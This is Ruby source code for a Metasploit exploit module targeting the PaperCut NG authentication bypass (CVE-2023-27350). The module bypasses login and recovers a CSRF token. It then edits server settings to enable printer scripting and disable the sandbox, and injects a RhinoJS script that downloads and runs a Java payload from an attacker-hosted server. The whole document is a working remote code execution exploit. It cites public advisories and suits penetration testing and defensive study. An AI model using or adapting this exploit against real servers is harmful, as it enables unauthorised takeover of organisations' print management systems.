## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'cgi' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'PaperCut PaperCutNG Authentication Bypass', 'Description' => %q{ This module leverages an authentication bypass in PaperCut NG. If necessary it updates Papercut configuration options, specifically the 'print-and-device.script.enabled' and 'print.script.sandboxed' options to allow for arbitrary code execution running in the builtin RhinoJS engine. This module logs at most 2 events in the application log of papercut. Each event is tied to modifcation of server settings. }, 'License' => MSF_LICENSE, 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023-27350'], ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], 'Arch' => ARCH_JAVA, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => '9191', 'SSL' => 'false' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) @csrf_token = nil @config_cleanup = [] end def bypass_auth # Attempt to generate a session & recover the anti-csrf token for future requests. res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_get' => { 'service' => 'page/SetupCompleted' } } ) return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") # Parse the application version from the response for future decisions. product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] if product_details.nil? product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') end version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) @csrf_token = match ? match[:csrf] : '' end def get_config_option(name) # 1) do a quickfind (setting the tapestry state) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/quickFindForm', 'sp' => 'S0', 'Form0' => '$TextField,doQuickFind,clear', '$TextField' => name, 'doQuickFind' => 'Go' } } ) # 2) parse and return the result return nil unless res && res.code == 200 && (html = res.get_html_document) return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") value_input[0]['value'] end def set_config_option(name, value, rollback) # set name:value pair(s) current_value = get_config_option(name) if current_value == value vprint_good("Server option '#{name}' already set to '#{value}')") return end vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/$Form', 'sp' => 'S1', 'Form1' => '$TextField$0,$Submit,$Submit$0', '$TextField$0' => value, '$Submit' => 'Update' } } ) fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 # skip storing the cleanup change if this is rolling back a previous change @config_cleanup.push([name, current_value]) unless rollback end def cleanup super if @config_cleanup.nil? return end until @config_cleanup.empty? cfg = @config_cleanup.pop vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") set_config_option(cfg[0], cfg[1], true) end end def primer payload_uri = get_uri script = <<~SCRIPT var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; SCRIPT # The number of parameters passed changed in version 17. form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' if @version_major > 16 form0 += ',$Submit$1' end # 6) Trigger the code execution the printer_id res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', 'sp' => 'S0', 'Form0' => form0, 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', 'scriptBody' => script } } ) fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 end def check # For the check command bypass_success = bypass_auth if bypass_success.nil? return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # Sandboxing wasn't introduced until version 19 if @version_major >= 19 # 2) Enable scripts, if needed set_config_option('print-and-device.script.enabled', 'Y', false) # 3) Disable sandboxing, if needed set_config_option('print.script.sandboxed', 'N', false) end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', 'sp' => 'l1001' } } ) fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stop due to our timeout, this is raised end def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") send_response(cli, payload.raw) end end